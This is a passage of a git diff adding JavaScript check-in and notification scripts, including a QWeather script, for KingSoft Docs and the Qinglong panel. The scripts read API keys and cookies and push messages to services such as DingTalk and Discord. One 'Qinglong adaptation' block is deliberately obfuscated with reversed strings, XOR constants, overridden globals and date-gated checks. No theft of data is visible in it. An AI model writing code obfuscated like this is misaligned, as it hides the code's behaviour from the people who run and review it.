message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + // push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + messageHeader[posLabel] = "👨‍🚀 " + messageName + // console.log(messageName) + + // 星期一-日 + var colNum = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V'] + weekPlanContent = [] + for (let i = 0; i < 7; i++) { + let currentPos = colNum[i + 3] + "" + pos + // console.log(currentPos) + weekPlanContent[i] = Range(currentPos).Value2 + } + + // 获得今天星期几, 返回值范围 0(周日)-6(周六) + // 0: 周日 | 1: 周一 | 2: 周二 | ... | 6: 周六 + let today = new Date().getDay(); + // 或转换为国际标准(周一=0) + const mondayFirst = (today + 6) % 7; + // console.log(mondayFirst); // 周一=0, ..., 周日=6 + message = weekPlanContent[mondayFirst] + // console.log(message) + if (message != "") { + pushDirect(message) + } + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + sleep(2000); + + return flagResultFinish +} + +// 具体的执行函数 +function execHandle(cookie, pos) { + // 清零操作,保证不同用户的消息的独立 + // 青龙适配,青龙微适配 + posHttp = 0 // 置空请求 + qlpushFlag -= 1 // 一个用户只会执行一次execHandle,因此可用于记录当前用户 + messageSuccess = ""; + messageFail = ""; + + resp = "" + + if(qlSwitch != 1){ // 选择金山文档 + resultHandle(resp, pos) + } +} \ No newline at end of file diff --git a/脚本库/web版/账密/和风天气/2025-08-25_hfweather_8f48b643.js b/脚本库/web版/账密/和风天气/2025-08-25_hfweather_8f48b643.js new file mode 100644 index 0000000..5b3ff33 --- /dev/null +++ b/脚本库/web版/账密/和风天气/2025-08-25_hfweather_8f48b643.js @@ -0,0 +1,2074 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/hfweather.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/hfweather.js +// # Repo: imoki/sign_script +// # Path: polymerization/hfweather.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 8f48b64324f1403201b65c13840805bab63560c7f4d667e14e2d2072678f1d0c +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "和风天气" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(2.0) + 更新时间:20250504 + 环境变量名:hfweather + 环境变量值:API KEY + 备注:需要 API KEY。访问https://console.qweather.com/#/apps?lang=zh 注册免费订阅获取API KEY。 +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "hfweather"; // 分配置表名称, (修改这里) +var pushHeader = "【和风天气】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var separator = "##########MOKU##########\n" // 分割符,分割消息。可用于PUSH.js灵活推送 +var apikey = ""; // apikey +var mode = ""; // 查询模式 +var adm = ""; // 省(市)。adm城市的上级行政区划,可设定只在某个行政区划范围内进行搜索,用于排除重名城市或对结果进行过滤 +var location = "" // 市(区) +var space = " " // 空格 +var dashed = "--------------" // 虚线 +var advanceConfig = {} // 高级配置,JSON格式 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, + { name: "qywx", key: "xxxxxx", flag: "0" }, + { name: "xizhi", key: "xxxxxx", flag: "0" }, + { name: "jishida", key: "xxxxxx", flag: "0" }, + { name: "wxpusher", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// 高级配置,根据pos读取配置 +function getAdvance(pos){ + let str = Application.Range("M" + pos).Text; // M列存放高级配置 + let allConfigs = {}; + try{ + let configObj = JSON.parse(str) + + for (let key in configObj) { + if (configObj.hasOwnProperty(key)) { + allConfigs[key] = configObj[key]; + console.log(`键: ${key}, 值:`, configObj[key]); + } + } + + }catch{ + + } + + return allConfigs; +} + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.1 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否安装好了对应依赖") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + } + +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + }else if (name == "qywx"){ + qywx(message, key); + } else if (name == "xizhi") { + xizhi(message, key); + }else if (name == "jishida"){ + jishida(message, key); + }else if (name == "wxpusher"){ + wxpusher(message, key) + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + +// 使用正则表达式匹配以'http://'或'https://'开头的字符串 +function isHttpOrHttpsUrl(url) { + // '^'表示字符串的开始,'i'表示不区分大小写 + const regex = /^(http:\/\/|https:\/\/)/i; + // match() 方法返回一个包含匹配结果的数组,如果没有匹配项则返回 null + return url.match(regex) !== null; +} + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + 